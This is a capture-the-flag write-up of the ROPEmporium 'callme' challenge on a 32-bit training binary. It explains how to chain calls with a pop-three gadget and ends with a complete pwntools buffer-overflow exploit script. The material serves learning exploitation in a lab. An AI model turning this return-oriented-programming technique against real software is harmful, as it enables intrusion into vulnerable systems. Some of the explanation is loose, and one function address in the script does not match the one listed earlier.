Writeup of callme [callme] on ROPEmporium
How do you make consecutive calls to a function from your ROP chain that won’t crash afterwards? If you keep using the call instructions already present in the binary your chains will eventually fail, especially when exploiting 32 bit binaries. Consider why this might be the case.
This is the information we’re greeted with in the callme challenge.
What we need to do is call the functions “callmeone”, “callmetwo”, “callmethree” all with the same arguments: 0xdeadbeef, 0xcafebabe, 0xd00df00d.
Let’s look at the binary with radare2:
> 0x08048570 50 entry0
0x080486ed 98 sym.pwnme
0x080484c0 6 sym.imp.read
0x0804874f 67 sym.usefulFunction
0x080484e0 6 sym.imp.callme_three <- Call_three
0x08048550 6 sym.imp.callme_two <- Call_two
0x080484f0 6 sym.imp.callme_one <- Call_one
0x08048686 103 main
Okay! So this should be easy. Let’s look at the stack we want.
┌────────────┐
│ │
│ 0xd00df00d │
│ │
├────────────┤
│ │
│ 0xcafebabe │
│ │
├────────────┤
│ │
│ 0xdeadbeef │
│ │
├────────────┤
│ │
│ callme_one │
│ │
└────────────┘
Now how do we continue with the next callme_two? Just the same principle? Is this even right? I tried a payload that went something like this:
payload=padding
payload+=callme_one+dead+cafe+dood
payload+=callme_two+dead+cafe+dood
payload+=callme_three+dead+cafe+dood
It’s important to note, that when a function call is made a new stack frame is created. This is to avoid corrupting data outisde a function, and also to save memory. Let’s look at a simple python program that explains this quite well:
def test():
a = 10
def main():
print(a)
test()
main()
This would yield a “NameError: name ‘a’ is not defined”. To return from a function, it’s important that the function has a return address. The return address is the first thing that will be pushed onto the stack after a function call.
We simply need some sort of way to return back after our function. It’s also important to note, that we push data on to the stack, that shouldn’t be there in the first place, this can cause issues when returning, as the program might interpret these in a different way then. We simply make our chain like this:
payload = callme_one+pop3+argv1+argv2+argv3
payload += callme_two+pop3+argv1+argv2+argv3
payload += callme_three+argv1+argv2+argv3
This firstly puts the pop3 as the return address after the function has been called. So it calls callme_one with the three arguments, then returns to pop3 which places these into registers, and removes them from the stack. Then it calls the next function, with the three arguments and afterwards places these into registers, effectively removing them from the stack. Lastly it calls callme_three and… flag
Exploit:
from pwn import *
usefulFunction = b"\x4f\x87\x04\x08"
callmeone = p32(0x08048780) #b"\x80\x87\x04\x08"
callme_one_plt = p32(0x080484f0)
callme_two_plt = p32(0x08048550)
callmethree = p32(0x0804875e)
dbef = p32(0xdeadbeef)
cfbb = p32(0xcafebabe)
dfd = p32(0xd00df00d)
completeargv=dbef+cfbb+dfd
gdgtpopm = p32(0x080487f9) #pops three registers
elfPath="./callme32"
context.arch="i386"
gdbscript="""
break *0x080484f0
"""
terminalSetting = ['gnome-terminal', '-e']
context.clear(terminal=terminalSetting)
io = pwnlib.gdb.debug(elfPath, gdbscript = gdbscript)
#mnm = cyclic_gen()
#mnm = mnm.get(80)
point=cyclic_find(b"laaa", endian="little")
#6161616c is at the return or laaa
#https://en.wikibooks.org/wiki/X86_Disassembly/Functions_and_Stack_Frames
def main():
print(io.recvuntil("> "))
payload=b"A"*point
payload+=callme_one_plt+gdgtpopm+completeargv
payload+=callme_two_plt+gdgtpopm+completeargv
payload+=callmethree+completeargv
io.send(payload)
io.interactive()
main()